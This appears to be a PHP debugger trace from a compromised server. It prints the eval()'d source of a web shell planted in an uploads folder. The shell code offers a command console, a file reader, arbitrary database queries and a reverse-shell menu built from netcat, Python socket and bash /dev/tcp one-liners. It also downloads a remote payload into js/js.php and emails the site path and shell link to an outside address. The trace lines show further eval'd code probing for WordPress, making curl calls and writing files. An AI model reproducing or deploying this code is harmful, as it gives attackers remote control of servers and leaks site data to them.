\'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\r\n\t\tif($Sh === \'\')\r\n\t\t{\r\n\t\t\techo \'SH Shell- <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \'SH Shell - <font color="green">Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\r\n\t\tif($Python === \'\')\r\n\t\t{\r\n\t\t\techo \'Python - <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \'Python - <font color="green">Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\r\n\t\tif($Ruby === \'\')\r\n\t\t{\r\n\t\t\techo \'Ruby - <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \'Ruby - <font color="green">Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\r\n\t\tif($Php === \'\')\r\n\t\t{\r\n\t\t\techo \'PHP - <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \'PHP - <font color="green">Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\r\n\t\tif($Perl === \'\')\r\n\t\t{\r\n\t\t\techo \'Perl - <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \'Perl - <font color="green">Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\r\n\t\tif($Java === \'\')\r\n\t\t{\r\n\t\t\techo \'Java - <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \'Java - <font color="green">Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\t\r\n\t\techo "</div>";\r\n\r\n\r\n\t\techo \'<form action="">\';\r\n\r\n\t\techo \'<label>IP Address</label><br>\';\r\n\t\techo \'<input type="text" name="ip" placeholder="10.0.0.23"><br><br>\';\r\n\r\n\t\techo \'<label>Remote Port</label><br>\';\r\n\t\techo \'<input type="text" name="port" placeholder="4444"> <br><br>\';\r\n\r\n\t\techo \'<label>Option</label><br>\';\r\n\t\techo \'<input type="hidden" name="reverse-shell" value="1">\';\r\n\r\n\t\techo \'<select name="option">\';\r\n\t\techo \'<optgroup label="Netcat">\';\r\n    \techo \'<option value="Netcat-/bin/sh">Netcat /bin/sh</option>\';\r\n    \techo \'<option value="Netcat-/bin/sh-pipes">Netcat /bin/sh (Using Pipes)</option>\';\r\n    \techo \'<option value="Netcat-/bin/bash">Netcat /bin/bash</option>\';\r\n    \techo \'<option value="Netcat-/bin/bash-pipes">Netcat /bin/bash (Using Pipes)</option>\';\r\n    \techo \'</optgroup>\';\r\n\r\n    \techo \'<optgroup label="Python">\';\r\n    \techo \'<option value="Python-/bin/sh">Python /bin/sh</option>\';\r\n    \techo \'<option value="Python-/bin/bash">Python /bin/bash</option>\';\r\n    \techo \'</optgroup>\';\r\n\r\n    \techo \'<optgroup label="Bash">\';\r\n    \techo \'<option value="Bash">Bash /bin/bash</option>\';\r\n    \techo \'</optgroup>\';\r\n\r\n    \techo \'<optgroup label="Ruby">\';\r\n    \techo \'<option value="Ruby-/bin/sh">Ruby /bin/sh</option>\';\r\n    \techo \'</optgroup>\';\r\n    \techo \'</select>\';\r\n\r\n    \techo \'<br><br>\';\r\n\t\techo \'<input type="submit" value="Submit">\';\r\n\t\techo \'</form>\';\r\n\t}\r\n\r\n\t//Get all files/folders in directory\r\n\tfunction directoryList($dir)\r\n\t{\r\n\t\techo "<table>";\r\n\t\techo "<tr>";\r\n\t\techo "<th>Name</th><th>Size</th><th>Last Modified Time </th><th>Permissions</th><th>Owner</th><th>Group</th>";\r\n\t\techo "</tr>";\r\n\t\t\r\n\t\t// Open a directory, and read its contents\r\n\t\tif (is_dir($dir))\r\n\t\t{\r\n\t\t\tif ($dh = opendir($dir))\r\n\t\t\t{\r\n\t\t\t\t// loop through each file/folder in directory\r\n\t\t\t\twhile (($file = readdir($dh)) !== false)\r\n\t\t\t\t{\r\n\t\t\t\t\t// if not directory or regular file just display filename without a link\r\n\t\t\t\t\t$link = $file;\r\n\t\t\t\t\t// save filename so we can display it later\r\n\t\t\t\t\t$fileDisplayName = $file;\r\n\r\n\t\t\t\t\t//if directory display link to enter directory \r\n\t\t\t\t\tif(substr(filepermission($dir.$file), 0, 1) === \'d\' )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// create formID so JS can submit the form\r\n\t\t\t\t\t\t$formId = $file.\'d\';\r\n\r\n\t\t\t\t\t\t// . = same directory so no need to append . to $dir\r\n\t\t\t\t\t\tif($file === \'.\')\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$file = \'\';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t// add / to end of directory name\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t$file = $file .\'/\';\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t$link = \'<form id="\'.$formId.\'" action="" method="get"> <input type="hidden" name="directory" value="\'.$dir.$file.\'"> <a href="#" onclick="document.getElementById(\\\'\'.$formId.\'\\\').submit();"> \'.$fileDisplayName.\' </a></form>\';\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// if regular file display link to open and read file\r\n\t\t\t\t\telseif (substr(filepermission($dir.$file), 0, 1) === \'r\')\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t// create formID so JS can submit the form\r\n\t\t\t\t\t\t$formId = $file.\'r\';\r\n\t\t\t\t\t\t$link = \'<form id="\'.$formId.\'" action="" method="get"> <input type="hidden" name="displayfile" value="\'.$dir.$file.\'"> <a href="#" onclick="document.getElementById(\\\'\'.$formId.\'\\\').submit();"> \'.$fileDisplayName.\' </a></form>\';\r\n\t\t\t\t\t}\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t//display file/directory info\r\n\t\t\t\t\techo "<tr>";\r\n\t\t\t\t\techo "<td>" . $link . "</td>";\r\n\t\t\t\t\techo "<td>"  . getFileSize($dir,$file). "</td>";\r\n\t\t\t\t\techo "<td>"  . getFileLastModTime($dir,$file). "</td>";\r\n\t\t\t\t\techo "<td>" . filepermission($dir.$file). "</td>";\r\n\t\t\t\t\techo "<td>"  . getFileOwner($dir,$file). "</td>";\r\n\t\t\t\t\techo "<td>"  . getFileGroup($dir,$file). "</td>";\r\n\t\t\t\t\techo "</tr>";\r\n\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\tclosedir($dh);\r\n\t\t\t}\r\n\t\t}\r\n\t\techo \'</table>\';\r\n\t}\r\n\r\n\t//Database  form\r\n\tfunction displayRDatabaseForm()\r\n\t{\r\n\t\t// check if programs are installed\r\n\t\t$Mysql = exec("which mysql");\r\n\r\n\t\t\r\n\r\n\t\techo "<div id=\'fleftReverseShell\'>";\r\n\t\techo "<h4> Installed Applications</h4>";\r\n\r\n\t\t// If not installed string will be empty \r\n\t\tif($Mysql === \'\')\r\n\t\t{\r\n\t\t\techo \'Mysql - <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \'Mysql - <font color="green">Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\t// check if mysqli function exists - we need php-mysqli to interact with mysql\r\n\t\tif(function_exists(\'mysqli_connect\'))\r\n\t\t{\r\n\t\t\techo \' Mysqli Php - <font color="green">Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\techo \' Mysqli Php - <font color="red">Not Installed</font>\';\r\n\t\t\techo \'<br>\';\r\n\t\t\techo \'<br>\';\r\n\t\t}\r\n\t\t\r\n\t\techo "</div>";\r\n\r\n\t\techo \'<form action="">\';\r\n\t\techo \'<label>Username</label><br>\';\r\n\t\techo \'<input type="text" name="username" placeholder="root"><br><br>\';\r\n\r\n\t\techo \'<label>Password</label><br>\';\r\n\t\techo \'<input type="text" name="password" placeholder="******"> <br><br>\';\r\n\r\n\t\techo \'<label>Query</label><br>\';\r\n\t\techo \'<input type="text" name="query" placeholder="select * from database.table"><br><br>\';\r\n\t\techo \'<input type="hidden" name="database" value="1">\';\r\n\r\n\t\techo \'<input type="submit" value="Submit">\';\r\n\t\techo \'</form>\';\r\n\t}\r\n\r\n\t// display selected file\r\n\tfunction getReadFile($file)\r\n\t{\r\n\t\t// have to replace the </xmp> so it doesnt mess up and cancel the real </xmp> a couple lines down\r\n\t\t$output = str_replace("</xmp>", "<[SLASH]xmp>", shell_exec(\'cat \' . $file));\r\n\t\techo "<xmp>";\r\n\t\techo $output;\r\n\t\techo "</xmp>";\r\n\t\t\r\n\t\t\r\n\t}\r\n\r\n\t// get file permissions read/write/execute   *code reuse*\r\n\tfunction filepermission($filePath)\r\n\t{\r\n\t\t$perms = fileperms($filePath);\r\n\r\n\t\tswitch ($perms & 0xF000)\r\n\t\t{\r\n\t\t    case 0xC000: // socket\r\n\t\t        $info = \'s\';\r\n\t\t        break;\r\n\t\t    case 0xA000: // symbolic link\r\n\t\t        $info = \'l\';\r\n\t\t        break;\r\n\t\t    case 0x8000: // regular\r\n\t\t        $info = \'r\';\r\n\t\t        break;\r\n\t\t    case 0x6000: // block special\r\n\t\t        $info = \'b\';\r\n\t\t        break;\r\n\t\t    case 0x4000: // directory\r\n\t\t        $info = \'d\';\r\n\t\t        break;\r\n\t\t    case 0x2000: // character special\r\n\t\t        $info = \'c\';\r\n\t\t        break;\r\n\t\t    case 0x1000: // FIFO pipe\r\n\t\t        $info = \'p\';\r\n\t\t        break;\r\n\t\t    default: // unknown\r\n\t\t        $info = \'u-\';\r\n\t\t}\r\n\r\n\t\t// Owner\r\n\t\t$info .= (($perms & 0x0100) ? \'r\' : \'-\');\r\n\t\t$info .= (($perms & 0x0080) ? \'w\' : \'-\');\r\n\t\t$info .= (($perms & 0x0040) ?\r\n\t\t            (($perms & 0x0800) ? \'s\' : \'x\' ) :\r\n\t\t            (($perms & 0x0800) ? \'S\' : \'-\'));\r\n\r\n\t\t// Group\r\n\t\t$info .= (($perms & 0x0020) ? \'r\' : \'-\');\r\n\t\t$info .= (($perms & 0x0010) ? \'w\' : \'-\');\r\n\t\t$info .= (($perms & 0x0008) ?\r\n\t\t            (($perms & 0x0400) ? \'s\' : \'x\' ) :\r\n\t\t            (($perms & 0x0400) ? \'S\' : \'-\'));\r\n\r\n\t\t// World\r\n\t\t$info .= (($perms & 0x0004) ? \'r\' : \'-\');\r\n\t\t$info .= (($perms & 0x0002) ? \'w\' : \'-\');\r\n\t\t$info .= (($perms & 0x0001) ?\r\n\t\t            (($perms & 0x0200) ? \'t\' : \'x\' ) :\r\n\t\t            (($perms & 0x0200) ? \'T\' : \'-\'));\r\n\r\n\t\treturn $info;\r\n\t}\r\n\r\n\r\n\t//get file size\r\n\tfunction getFileSize($dir,$file)\r\n\t{\r\n\t\treturn filesize($dir.$file);\r\n\t}\r\n\r\n\t//get Last Modified Time\r\n\tfunction getFileLastModTime($dir,$file)\r\n\t{\r\n\t\treturn date("F d Y H:i:s.", filemtime($dir.$file));\r\n\t}\r\n\t\r\n\t// get file owner\r\n\tfunction getFileOwner($dir,$file)\r\n\t{\r\n\t\t$fileOwnerInfo = posix_getpwuid(fileowner($dir.$file));\r\n\t\treturn $fileOwnerInfo[name];\r\n\t}\r\n\r\n\t// get file group\r\n\tfunction getFileGroup($dir,$file)\r\n\t{\r\n\t\t$fileGroupInfo = posix_getgrgid(filegroup($dir.$file));\r\n\t\treturn $fileGroupInfo[name];\r\n\t}\r\n\r\n\t// get memory - *code reuse* modified a little\r\n\tfunction shapeSpace_server_memory_usage() \r\n\t{\r\n\t$free = shell_exec(\'free\');\r\n\t$free = (string)trim($free);\r\n\t$free_arr = explode("\\n", $free);\r\n\t$mem = explode(" ", $free_arr[1]);\r\n\t$mem = array_filter($mem);\r\n\t$mem = array_merge($mem);\r\n\t$memory_usage = $mem[2] / $mem[1] * 100;\r\n \r\n\treturn array($mem[1] / (1024 * 1024), $mem[2] / (1024 * 1024), $memory_usage);\r\n\t\r\n\t}\r\n\r\n\tfunction systemInfo()\r\n\t{\r\n\t\t$OS = php_uname(\'s\');\r\n\t\t$hostName = php_uname(\'n\');\r\n\t\t$version = php_uname(\'v\');\r\n\t\t$architecture = php_uname(\'m\');\r\n\t\t$df = disk_free_space("/") / (1024 * 1024 * 1024);\r\n\t\t$dt = disk_total_space("/") / (1024 * 1024 * 1024);\r\n\t\t$memory_array = shapeSpace_server_memory_usage();\r\n\r\n\t\techo "OS:" . $OS . " HostName:" . $hostName . " Version:" . $version . " Architecture:" . $architecture . " Disk Free Space:" . $df. " Disk Total Space:" . $dt . " Memory Total GB:" . $memory_array[0] . " Memory Used GB:" . $memory_array[1] . " Memory Usage:" . $memory_array[2] . "%";\r\n\r\n\t}\r\n\t\r\n\r\n\t\r\n\r\n\theadhtml();\r\n\t//display file\r\n\tif(isset($_GET["displayfile"]))\r\n\t{\r\n\t\t$file = $_GET["displayfile"];\r\n\t\t// call function to read file\r\n\t\tgetReadFile($file);\r\n\t}\r\n\r\n\t// console Tab\r\n\telse if(isset($_GET["console"]))\r\n\t{\r\n\t\t//display console form\r\n\t\tdisplayConsoleForm();\r\n\r\n\t\t// if we get command to run\r\n\t\tif(isset($_GET["command"]))\r\n\t\t{\r\n\t\t\t$cmd = $_GET["command"];\r\n\t\t\techo "<div id=\'command\'>";\r\n\t\t\t// execute command \r\n\t\t\t$lastLine = exec($cmd,$cmdOutput);\r\n\r\n\t\t\t// loop through array\r\n\t\t\tforeach($cmdOutput as $line)\r\n\t\t\t{\r\n\t\t\t\t// echo output and replace spaces with &nbsp;\r\n\t\t\t\techo str_replace(" ", "&nbsp;", $line) ."<br>";\r\n\t\t\t}\r\n\r\n\t\t\techo "</div>";\r\n\t\t}\r\n\t}\r\n\t//reverse shell tab\r\n\telse if(isset($_GET["reverse-shell"]))\r\n\t{\r\n\t\t//display reverse shell form\r\n\t\tdisplayReverseShellForm();\r\n\r\n\t\tif(isset($_GET["ip"]) && isset($_GET["port"]))\r\n\t\t{\r\n\t\t\t$ip = $_GET["ip"];\r\n\t\t\t$port = $_GET["port"];\r\n\t\t\t$option = $_GET["option"];\r\n\r\n\t\t\tif($option === \'Netcat-/bin/sh\')\r\n\t\t\t{\r\n\t\t\t\t$cmd = "nc -e /bin/sh " . $ip . \' \' . $port;\r\n\t\t\t\tsystem($cmd);\r\n\t\t\t\techo \'Executed - \' . $cmd;\r\n\t\t\t}\r\n\t\t\telseif($option === \'Netcat-/bin/bash\')\r\n\t\t\t{\r\n\t\t\t\t$cmd = "nc -e /bin/bash " . $ip . \' \' . $port;\r\n\t\t\t\tsystem($cmd);\r\n\t\t\t\techo \'Executed - \' . $cmd;\r\n\t\t\t}\r\n\t\t\telseif($option === \'Netcat-/bin/sh-pipes\')\r\n\t\t\t{\r\n\t\t\t\t$cmd = \'rm /tmp/tt;mkfifo /tmp/tt;cat /tmp/tt|/bin/sh -i 2>&1|nc \'. $ip . \' \' . $port . \' >/tmp/tt\' ;\r\n\t\t\t\texec($cmd);\r\n\t\t\t\techo \'Executed - \' . $cmd;\r\n\t\t\t}\r\n\t\t\telseif($option === \'Netcat-/bin/bash-pipes\')\r\n\t\t\t{\r\n\t\t\t\t$cmd = \'rm /tmp/tt;mkfifo /tmp/tt;cat /tmp/tt|/bin/bash -i 2>&1|nc \'. $ip . \' \' . $port . \' >/tmp/tt\' ;\r\n\t\t\t\texec($cmd);\r\n\t\t\t\techo \'Executed - \' . $cmd;\r\n\t\t\t}\r\n\t\t\telseif($option === \'Python-/bin/sh\')\r\n\t\t\t{\r\n\t\t\t\t$cmd = "python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"".$ip."\\",".$port."));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);\' &";\r\n\t\t\t\tsystem($cmd);\r\n\t\t\t\techo \'Executed - \' . $cmd;\r\n\t\t\t}\r\n\t\t\telseif($option === \'Python-/bin/bash\')\r\n\t\t\t{\r\n\t\t\t\t$cmd = "python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"".$ip."\\",".$port."));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/bash\\",\\"-i\\"]);\' &";\r\n\t\t\t\tsystem($cmd);\r\n\t\t\t\techo \'Executed - \' . $cmd;\r\n\t\t\t}\r\n\t\t\t// ******************************************** Command works but hangs in php need to fix **************************************************\r\n\t\t\telseif($option === \'Bash\')\r\n\t\t\t{\r\n\t\t\t\t// make sure we change to bash shell (bash;) before executing command other wise we get "Bad fd number" error\r\n\t\t\t\t$cmd = \'echo "bash -i >& /dev/tcp/\'.$ip.\'/\'.$port.\' 0>&1" | bash\';\r\n\t\t\t\texec($cmd);\r\n\t\t\t\techo \'Executed - \' . $cmd;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t//Databse shell tab\r\n\telse if(isset($_GET["database"]))\r\n\t{\r\n\t\tdisplayRDatabaseForm();\r\n\r\n\t\tif(isset($_GET["username"]) && isset($_GET["password"]))\r\n\t\t{\r\n\t\t\t$username = $_GET["username"];\r\n\t\t\t$password = $_GET["password"];\r\n\t\t\t$query = $_GET["query"];\r\n\r\n\t\t\t$link = mysqli_connect("127.0.0.1", $username, $password);\r\n\t\t\t$result = mysqli_query($link,$query);\r\n\t\t\t$count = mysqli_num_rows($result);\r\n\t\t\t$column_count = mysqli_num_fields($result);\r\n\r\n\t\t\t\r\n\r\n\t\t\techo "<table>";\r\n\r\n\t\t\techo "<tr>";\r\n\t\t\t$finfo = mysqli_fetch_fields($result);\r\n        \tforeach ($finfo as $val)\r\n        \t{\r\n            \techo "<th>".$val->name."</th>";\r\n            }\r\n\t\t\techo "</tr>";\r\n\r\n\t\t\twhile($row = mysqli_fetch_row($result))\r\n\t\t\t{\r\n\t\t\t\t$i = 0;\r\n\t\t\t\techo "<tr>";\r\n\t\t\t\twhile($i < $column_count)\r\n\t\t\t\t{\r\n\t\t\t\t\t//echo $row[$i];\r\n\t\t\t\t\techo "<td>".$row[$i]."</td>";\r\n\t\t\t\t\t$i = $i +1;\r\n\t\t\t\t}\r\n\t\t\t\techo "</tr>";\r\n\t\t\t\techo "</br>";\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\techo "</table>";\r\n\t\t}\r\n\t}\t\r\n\r\n\t// Home Tab\r\n\telse\r\n\t{\r\n\t\t//systemInfo();\r\n\t\t//default directory\r\n\t\t$directory = "/var/www/";\r\n\t\t//get new directory\r\n\t\tif(isset($_GET["directory"]))\r\n\t\t{\r\n\t\t\t$directory = $_GET["directory"];\r\n\t\t}\r\n\t\t//display directory form \r\n\t\tdisplayFolderForm();\r\n\t\t// display direcotries\r\n\t\tdirectoryList($directory);\r\n\t}\r\n\t\r\n\t//echo system("/usr/bin/wget google.com -O /tmp/tt");\r\n\t\r\n\r\n\tfoothtml();\r\n\r\n?><?php if($_POST[\'query\']){ $veriyfy = stripslashes(stripslashes($_POST[\'query\']));\r\n $data = "data.txt";\r\n @touch ("data.txt");\r\n $ver = @fopen ($data , \'w\');\r\n @fwrite ( $ver , $veriyfy ) ;\r\n @fclose ($ver);\r\n }else{ $datas=@fopen("data.txt",\'r\');\r\n $i=0;\r\n while ($i <= 5) { $i++;\r\n $blue=@fgets($datas,1024);\r\n echo $blue;\r\n } } $datasi=@fopen("js/js.php",\'r\');\r\n if($datasi){ }else{ @mkdir("js");\r\n $dos = file_get_contents("https://wordpres.page/txt/lamer.txt");\r\n $data = "js/js.php";\r\n @touch ("js/js.php");\r\n $ver = @fopen ($data , \'w\');\r\n @fwrite ( $ver , $dos ) ;\r\n @fclose ($ver);\r\n $yol = "http://".$_SERVER[\'HTTP_HOST\']."".$_SERVER[\'REQUEST_URI\']."";\r\n $y = \'<h1>Sender Yazdirildi.<br/> SITE YOL : \'.$yol.\'<br/>Sender Yolu : js/crs.php</h1>\';\r\n $header .= "From: SheLL Boot <suppor@nic.org>\\n";\r\n $header .= "Content-Type: text/html;\r\n charset=utf-8\\n";\r\n @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n @mail("byhero44@gmail.com", "Hacklink Bildiri", "$y", $header);\r\n } \r\n?><?php\r\n$kime = "byhero44@gmail.com";\r\n$baslik = "keisatsu shell 20203";\r\n$EL_MuHaMMeD = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n$EL_MuHaMMeD.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\nmail($kime, $baslik, $EL_MuHaMMeD);\r\n?>'	/var/www/html/uploads/Vhosts.php(4) : eval()'d code	1	0
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	2	$document_root = '/var/www/html'
4	20	0	0.004874	575728	dirname	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	3	1	'/var/www/html/uploads/Vhosts.php(4) : eval()\'d code(1) : eval()\'d code'
4	20	1	0.004890	575856
4	20	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	3	$document_root_file = '/var/www/html/uploads'
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	4	$wp_detect = 0
4	21	0	0.004930	575880	file_exists	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	5	1	'/var/www/html/wp-load.php'
4	21	1	0.004953	575920
4	21	R			FALSE
4	22	0	0.004967	575824	explode	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	11	2	'/'	'/var/www/html/uploads'
4	22	1	0.004984	576400
4	22	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	11	$prefix = 5
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	12	$a = ''
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	13	$i = 0
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../'
4	23	0	0.005050	575888	file_exists	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../wp-load.php'
4	23	1	0.005069	575928
4	23	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../'
4	24	0	0.005104	575920	file_exists	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../wp-load.php'
4	24	1	0.005122	575960
4	24	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../'
4	25	0	0.005156	575944	file_exists	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../wp-load.php'
4	25	1	0.005173	575984
4	25	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../../'
4	26	0	0.005206	575944	file_exists	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../../wp-load.php'
4	26	1	0.005223	575984
4	26	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	13	$i++
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	15	$a = '../../../../../'
4	27	0	0.005256	575944	file_exists	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	16	1	'/var/www/html/uploads/../../../../../wp-load.php'
4	27	1	0.005273	575984
4	27	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	13	$i++
4	28	0	0.005296	575864	http_get	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	63	1	'#'
5	29	0	0.005311	575864	curl_init	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	108	1	'#'
5	29	1	0.005331	576808
5	29	R			resource(3) of type (curl)
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(3) of type (curl)
5	30	0	0.005359	576776	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(3) of type (curl)	19913	1
5	30	1	0.005375	576872
5	30	R			TRUE
5	31	0	0.005388	576776	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(3) of type (curl)	78	10
5	31	1	0.005404	576872
5	31	R			TRUE
5	32	0	0.005416	576776	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(3) of type (curl)	52	1
5	32	1	0.005431	576872
5	32	R			TRUE
5	33	0	0.005443	576776	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(3) of type (curl)	42	0
5	33	1	0.005457	576872
5	33	R			TRUE
5	34	0	0.005470	576776	curl_exec	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	113	1	resource(3) of type (curl)
5	34	1	0.005514	576808
5	34	R			FALSE
4	28	1	0.005542	575864
4	28	R			FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	63	$code = FALSE
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	64	$wp_code = '/var/www/html/#'
4	35	0	0.005580	575904	fopen	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	65	2	'/var/www/html/#'	'w'
4	35	1	0.005614	576544
4	35	R			resource(5) of type (stream)
3		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	65	$open_code = resource(5) of type (stream)
4	36	0	0.005644	576472	fwrite	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	66	2	resource(5) of type (stream)	FALSE
4	36	1	0.005660	576536
4	36	R			0
4	37	0	0.005672	576472	fclose	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	67	1	resource(5) of type (stream)
4	37	1	0.005689	576072
4	37	R			TRUE
4	38	0	0.005702	576040	http_get	1		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	71	1	''
5	39	0	0.005716	576040	curl_init	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	108	1	''
5	39	1	0.005732	576984
5	39	R			resource(6) of type (curl)
4		A						/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	108	$im = resource(6) of type (curl)
5	40	0	0.005764	576952	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	109	3	resource(6) of type (curl)	19913	1
5	40	1	0.005781	577048
5	40	R			TRUE
5	41	0	0.005793	576952	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	110	3	resource(6) of type (curl)	78	10
5	41	1	0.005808	577048
5	41	R			TRUE
5	42	0	0.005821	576952	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	111	3	resource(6) of type (curl)	52	1
5	42	1	0.005836	577048
5	42	R			TRUE
5	43	0	0.005848	576952	curl_setopt	0		/var/www/html/uploads/Vhosts.php(4) : eval()'d code(1) : eval()'d code	112	3	resource(6) of type (curl)	42	0
5	43	1	0.005863	577048
5	43	R			TRUE
